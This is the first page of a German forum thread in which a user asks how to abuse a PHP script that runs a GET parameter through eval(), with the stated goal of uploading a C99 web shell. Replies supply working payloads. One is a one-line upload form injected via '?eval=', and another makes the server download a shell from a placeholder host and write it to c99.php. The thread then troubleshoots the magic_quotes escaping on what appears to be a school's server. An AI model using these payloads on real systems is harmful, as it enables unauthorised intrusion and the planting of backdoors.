Seite 1 von 3 123 LetzteLetzte
Ergebnis 1 bis 10 von 24
  1. #1
    NoClose Wurm
    Registriert seit
    05.03.2008
    Beiträge
    173

    Standard eval - upload etc.

    Ich wollte fragen, was ich mit eval alles machen kann, also wie tiefgehend ich PHP ausführen lassen kann. Ich habe im Moment ein PHP-Script, das einen GET-Parameter annimmt und wenn dieser gesetzt ist, die variable eval'd.
    Kann ich in den Parameter ein Upload-Script schreiben und eine Datei hochladen? ( ja eine C99 )

    PHP-Code:
    $eval $_GET['eval'];
        
    if( isset(
    $eval) )
    {
        eval(
    $eval);

    MfG RikuXan
    They misunderestimated me.
    George W. Bush



  2. #2
    -=Cookies=- Avatar von moppelito
    Registriert seit
    17.07.2009
    Beiträge
    347

    Standard

    http://php.net/manual/de/function.eval.php
    Wie dort bereits steht kannst du damit nur aus einer Zerichenkette php-code auslesen, das hat nichts mit einem Uploadscript zutun.

    EDIT: Wenn es das tun sollte!
    Mit dem Wissen steigt die Verantwortung

    [spoiler]
    <?php echo $ip; ?> Das ist wie wenn du am Frühstuckstisch sagen würdest Mama gib mir mal die X rüber!

  3. #3
    monströs Avatar von Ken
    Registriert seit
    28.02.2010
    Beiträge
    138

    Standard

    Was heißt schon "wie tiefgehend"? Du kannst damit im Prinzip alles machen.

    Ein Uploadscript würde dementsprechend so aussehen:
    PHP-Code:
    ?eval=echo '<form action="" enctype="multipart/form-data" method="POST"><input name="file" type="file" /><input type="submit" /></form>'; if(isset($_FILES["file"])) { move_uploaded_file($_FILES['file']['tmp_name'], "./".$_FILES['file']['name']); echo '<a href="./'.$_FILES['file']['name'].'" target="_blank">OK!</a>'; } 
    Wenn so was nicht funktionieren würde, hätten solche Sicherheitslücken ja keinerlei Wert, oder? So was wird auch ab und an als Hintertürchen in Skripte eingebaut.

  4. #4
    NoClose Wurm
    Registriert seit
    05.03.2008
    Beiträge
    173

    Standard

    Ja, aber man kann sich doch aus einer Zeichenkette PHP-Code ein Upload-Script basteln, bzw. dieses Script in die Variable schreiben, oder?

    MfG RikuXan

    Edit: Verdammt Ken hat noch davor gepostet
    Genau so etwas meinte ich, nur bekomme ich da Fehlermeldungen wie:

    PHP-Code:
    Warning:  Unexpected character in input:  '\' (ASCII=92) state=1  in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik mit  Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code  on line 1
    Warning
    :  Unexpected character in input:  ''' (ASCII=39) state=1  in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik mit  Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code  on line 1
    Parse error
    :  syntax errorunexpected '<' in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik  mit Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code  on line 1 
    obwohl syntaktisch eigentlich alles richtig ist. Bzw. ich suche mal vielleicht fehlt ja irgendwo ein ' oder so etwas.

    MfG RikuXan
    Geändert von RikuXan (15.03.2010 um 18:04 Uhr)
    They misunderestimated me.
    George W. Bush



  5. #5
    monströs Avatar von Ken
    Registriert seit
    28.02.2010
    Beiträge
    138

    Standard

    Genau dafür ist es gedacht, sonst hätte ich
    1. das "?eval=" am Anfang des PHP-Codes weggelassen und
    2. Zeilenumbrüche dort gesetzt, wo sie Sinn machen würden, und nicht alles in einer Zeile gelassen.

    Voraussetzung ist natürlich, dass keine Apostrophen und Anführungszeichen maskiert werden.

  6. #6
    NoClose Wurm
    Registriert seit
    05.03.2008
    Beiträge
    173

    Standard

    Ich bin jetzt leider nicht erfahren genug, um beurteilen zu können, ob das hier der Fall ist, aber was denkst du, werden sie maskiert oder nicht, anhand der Fehlermeldungen?

    MfG RikuXan
    They misunderestimated me.
    George W. Bush



  7. #7
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Wieso eigentlich so kompliziert?
    Also wenn dieses Script auf dem Server liegt, würde doch sowas wie
    Code:
    ?eval=$f = fopen("c99.php","a"); fwrite($f,file_get_contents("http://bla/shell.txt"); fclose($f);
    genügen, um eine Shell auf den Space zu bekommen.

    EDIT: Ich denke nicht, dass sie maskiert werden. Du kannst aber mal var_dump(ini_get("magic_quotes_gpc")); probieren.
    Wenn da etwas wie bool(true) rauskommt, dann werden sie maskiert.
    Aber von der Fehlermeldung her ist eher der Punkt vor dem \ falsch.
    Come to the dark side - We have cookies

  8. #8
    monströs Avatar von Ken
    Registriert seit
    28.02.2010
    Beiträge
    138

    Standard

    Ich bin jetzt leider nicht erfahren genug, um beurteilen zu können, ob das hier der Fall ist, aber was denkst du, werden sie maskiert oder nicht, anhand der Fehlermeldungen?
    Welcher Fehlermeldungen? Gib einfach ein paar Anführungszeichen und Apostrophe ein, und schau, ob irgendwo das Slash-Zeichen "\" auftaucht. Oder ob beispielsweise ?eval=echo "Hallo"; ein "Hallo" ausgibt, oder was auch immer.

    Und ja, wenns Dir nur darum geht, ein Shell-Skript auf den Server zu bekommen, so ist VeN0ms Code natürlich kürzer, impliziert allerdings auch, dass der jeweilige Server Zugriff auf externe Seiten ermöglicht.

  9. #9
    NoClose Wurm
    Registriert seit
    05.03.2008
    Beiträge
    173

    Standard

    PHP-Code:
    Warning:  Unexpected character in input:  '\' (ASCII=92) state=1  in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik mit  Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code  on line 1

    Parse error
    :  syntax errorunexpected $end in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik  mit Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code  on line 1 
    Das war das Ergebnis von
    PHP-Code:
    eval=var_dump(ini_get("magic_quotes_gpc")); 
    Wieso ist denn ein "unexpected \" , das steht ja im code nirgendswo, ist es dann nicht "dazuescaped" worden?

    Und bei der fwrite-version kommt:
    PHP-Code:
    Warning:  Unexpected character in input:  '\' (ASCII=92) state=1  in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik mit  Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code  on line 1

    Parse error
    :  syntax errorunexpected $end in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik  mit Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code  on line 1 
    BTW: Find ich toll, dass ihr mir so schnell und engagiert helft, beeindruckt mich wirklich, zwischendurch schonmal ein danke an alle für ihre Mühen

    MfG RikuXan

    Edit: Bei
    PHP-Code:
    ?eval=echo "Hallo"
    kommen eben leider die selben Fehler, wie bei VeN0ms Script :/ ich weiß nicht woher der \ kommen soll.
    Geändert von RikuXan (15.03.2010 um 18:25 Uhr)
    They misunderestimated me.
    George W. Bush



  10. #10
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Ja, das wurde dazu escaped.
    Also sofern ' und " gefiltert werden (magic quotes gpc), wird ein \ hinzugefügt. Und dieses ist dann natürlich "unerwartet" (unexpected).
    Dass man das umgehen kann, bezweifele ich.
    Come to the dark side - We have cookies

Seite 1 von 3 123 LetzteLetzte

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •